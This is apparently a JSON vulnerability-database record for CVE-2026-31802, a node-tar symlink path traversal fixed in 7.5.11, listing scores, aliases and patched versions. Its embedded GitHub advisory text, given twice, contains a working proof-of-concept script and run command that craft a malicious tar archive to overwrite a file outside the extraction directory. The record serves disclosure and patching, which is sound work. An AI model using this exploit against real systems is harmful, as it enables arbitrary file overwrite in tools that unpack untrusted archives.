{"id":"CVE-2026-31802","aliases":["AZL-101781","CLSA-2026-1773533794","CLSA-2026-1776731786","CLSA-2026-1776818213","CLSA-2026-1783904631","CLSA-2026-1787823954","CLSA-2026-1787916963","CLSA-2026-1792074268","CLSA-2026-1792074305","CLSA-2026-1792164662","CLSA-2026-1792369404","CLSA-2026-1793307830","DEBIAN-CVE-2026-31802","EUVD-2026-10403","GHSA-9ppj-qmqm-q256","GHSA-r292-9mhp-454m","ROOT-APP-NPM-CVE-2026-31802","UBUNTU-CVE-2026-31802"],"status":"published","title":"node-tar Symlink Path Traversal via Drive-Relative Linkpath","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00287,"percentile":0.21494,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-22"],"published":"2026-03-09T21:11:56Z","modified":"2026-11-03T06:15:04Z","exploits":[{"source":"pocgithub","id":"Jvr2022/CVE-2026-31802","title":"Jvr2022/CVE-2026-31802","date":"2026-03-14","url":"https://github.com/Jvr2022/CVE-2026-31802"},{"source":"pocgithub","id":"Recorded-texteditor120/CVE-2026-31802","title":"Recorded-texteditor120/CVE-2026-31802","date":"2026-03-28","url":"https://github.com/Recorded-texteditor120/CVE-2026-31802"},{"source":"pocgithub","id":"ridhinva/npm-tar-path-traversal-scanner","title":"ridhinva/npm-tar-path-traversal-scanner","date":"2026-05-22","url":"https://github.com/ridhinva/npm-tar-path-traversal-scanner"}],"fixes":[{"ecosystem":"npm","package":"tar","fixed_in":["7.5.11"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"tar","fixed_in":["2.1.1-tuxcare.3"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-tar","fixed_in":["6.2.1+ds1+~cs6.1.13-10"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"tar","fixed_in":["6.1.11-aikido.10","7.5.1-aikido.12","7.5.7-aikido.4","4.4.19-aikido.3","6.2.1-aikido.8","7.5.9-aikido.2","7.4.3-aikido.8","6.2.0-aikido.10","7.5.1-aikido.9","6.1.11-aikido.6","4.4.19-aikido.4","7.5.1-aikido.10","6.2.1-aikido.9","6.1.11-aikido.7","6.1.14-aikido.4","6.1.11-aikido.8","6.2.1-aikido.10","4.4.19-aikido.5","7.4.3-aikido.9","6.2.1-aikido.11","6.1.11-aikido.9","4.4.19-aikido.6","7.4.3-aikido.10","6.1.14-aikido.5","7.5.1-aikido.11","7.5.9-aikido.3","7.5.9-aikido.4","7.5.9-aikido.5","4.4.19-aikido.7","6.2.1-aikido.12","7.5.9-aikido.6","6.1.14-aikido.6","7.4.3-aikido.11","6.1.13-aikido.7","6.1.13-aikido.8","7.4.3-aikido.12","4.4.13-aikido.1","6.2.0-aikido.11","7.5.7-aikido.5","7.5.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tar","fixed_in":["6.2.1-root.io.7","7.5.7-root.io.2","7.4.3-root.io.6","7.5.1-root.io.7","6.2.0-root.io.8","7.4.3-root.io.7","7.5.1-root.io.8","6.2.0-root.io.9","7.5.9-root.io.1","7.5.7-root.io.3","6.1.11-root.io.10","4.4.19-root.io.2","7.5.1-root.io.12","7.5.7-root.io.4","4.4.19-root.io.3","6.2.1-root.io.8","7.5.9-root.io.2","7.4.3-root.io.8","6.2.0-root.io.10","7.5.1-root.io.9","6.1.11-root.io.6","4.4.19-root.io.4","7.5.1-root.io.10","6.2.1-root.io.9","6.1.11-root.io.7","6.1.14-root.io.4","6.1.11-root.io.8","6.2.1-root.io.10","4.4.19-root.io.5","7.4.3-root.io.9","6.2.1-root.io.11","6.1.11-root.io.9","4.4.19-root.io.6","7.4.3-root.io.10","6.1.14-root.io.5","7.5.1-root.io.11","7.5.9-root.io.3","7.5.9-root.io.4","7.5.9-root.io.5","4.4.19-root.io.7","6.2.1-root.io.12","7.5.9-root.io.6","6.1.14-root.io.6","7.4.3-root.io.11","6.1.13-root.io.7","6.1.13-root.io.8","7.4.3-root.io.12","4.4.13-root.io.1","6.2.0-root.io.11","7.5.7-root.io.5","7.5.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"7.5.10"},{"fixed":"7.5.11"}]}]},{"source":"osv","ecosystem":"Azure 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Advisory","advisory","web","report"]},{"url":"https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad","tags":["x_refsource_MISC","Vendor Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31802","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-9ppj-qmqm-q256"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31802.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-31802","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-31802","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-31802","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-31802","title":"node-tar Symlink Path Traversal via Drive-Relative Linkpath","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","status":"published","published":"2026-03-09T21:11:56.668Z","modified":"2026-03-10T14:56:35.229Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:19:50.92611Z"}],"euvd":[{"id":"EUVD-2026-10403","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","status":"published","published":"2026-03-09T21:11:56Z","modified":"2026-03-10T14:56:35Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","level":"high"}],"updated_at":"2026-11-02T19:48:05.412027Z"}],"ghsa":[{"id":"GHSA-9ppj-qmqm-q256","title":"node-tar Symlink Path Traversal via Drive-Relative Linkpath","description":"### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: 'a/b/l',\n  type: 'SymbolicLink',\n  linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs \u0026\u0026 readlink a/b/l \u0026\u0026 ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -\u003e ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","status":"published","published":"2026-03-10T23:44:58Z","modified":"2026-03-10T23:44:59Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:34.616253Z"}],"nvd":[{"id":"CVE-2026-31802","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","status":"published","published":"2026-03-10T07:44:58.02Z","modified":"2026-06-17T10:34:29.49Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-31802","title":"node-tar Symlink Path Traversal via Drive-Relative Linkpath","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","status":"published","published":"2026-03-09T21:11:56.668Z","modified":"2026-10-28T02:30:26.785685187Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"DEBIAN-CVE-2026-31802","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","status":"published","published":"2026-03-10T07:44:58.02Z","modified":"2026-10-01T03:02:36.739480662Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:54.232518Z"},{"id":"GHSA-9ppj-qmqm-q256","title":"node-tar Symlink Path Traversal via Drive-Relative Linkpath","description":"### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: 'a/b/l',\n  type: 'SymbolicLink',\n  linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs \u0026\u0026 readlink a/b/l \u0026\u0026 ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -\u003e ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","status":"published","published":"2026-03-10T23:44:58Z","modified":"2026-09-10T03:50:38.398085665Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"ROOT-APP-NPM-CVE-2026-31802","title":"CVE-2026-31802 in tar - Patched by Root","description":"Root has patched CVE-2026-31802 in the tar package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-03T05:38:33Z","modified":"2026-11-03T06:15:04.539984992Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-03T06:41:39.834803Z"},{"id":"UBUNTU-CVE-2026-31802","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","status":"published","published":"2026-03-10T07:44:00Z","modified":"2026-10-17T12:58:08.490040966Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","level":"high"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:11.640778Z"},{"id":"AZL-101781","title":"CVE-2026-31802 affecting package python-tensorboard 2.16.2-6","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","status":"published","published":"2026-03-10T07:44:58Z","modified":"2026-09-21T05:34:22Z","updated_at":"2026-11-02T15:28:00.508704Z"},{"id":"CLSA-2026-1773533794","title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:28.780703773Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1776731786","title":"TuxCare security update for tar (1 CVE)","description":"TuxCare rebuilt tar to address 1 CVE. Fixed in 2.1.1-tuxcare.3.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:45:46.494130805Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1776818213","title":"TuxCare security update for tar (2 CVEs)","description":"TuxCare rebuilt tar to address 2 CVEs. Fixed in 1.0.3-tuxcare.3.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:45:46.962722864Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1783904631","title":"TuxCare security update for tar (3 CVEs)","description":"TuxCare rebuilt tar to address 3 CVEs. Fixed in 6.1.15-tuxcare.1.","status":"published","published":"2026-08-04T14:52:43Z","modified":"2026-10-15T09:47:35.021196481Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"CLSA-2026-1787823954","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.1.15-tuxcare.1.","status":"withdrawn","published":"2026-08-27T09:45:54Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1787916963","title":"TuxCare security update for tar (5 CVEs)","description":"TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.2.0-tuxcare.2.","status":"withdrawn","published":"2026-08-28T11:36:03Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1792074268","title":"TuxCare security update for tar (8 CVEs)","description":"TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.","status":"published","published":"2026-10-15T14:24:28Z","modified":"2026-10-16T19:13:10.687653114Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792074305","title":"TuxCare security update for tar (12 CVEs)","description":"TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.","status":"published","published":"2026-10-15T14:25:05Z","modified":"2026-10-15T19:00:02.575217399Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792164662","title":"TuxCare security update for tar (8 CVEs)","description":"TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.1.6-tuxcare.1.","status":"published","published":"2026-10-16T15:31:02Z","modified":"2026-10-16T16:30:59.349131841Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792369404","title":"TuxCare security update for tar (9 CVEs)","description":"TuxCare rebuilt tar to address 9 CVEs. Fixed in 6.1.0-tuxcare.2.","status":"published","published":"2026-10-19T00:23:24Z","modified":"2026-10-27T01:58:02.886782149Z","updated_at":"2026-11-02T15:43:53.353888Z"},{"id":"CLSA-2026-1793307830","title":"TuxCare security update for tar (11 CVEs)","description":"TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.","status":"published","published":"2026-10-29T22:03:51Z","modified":"2026-10-30T02:15:07.69312809Z","updated_at":"2026-11-02T15:43:55.669514Z"}]}}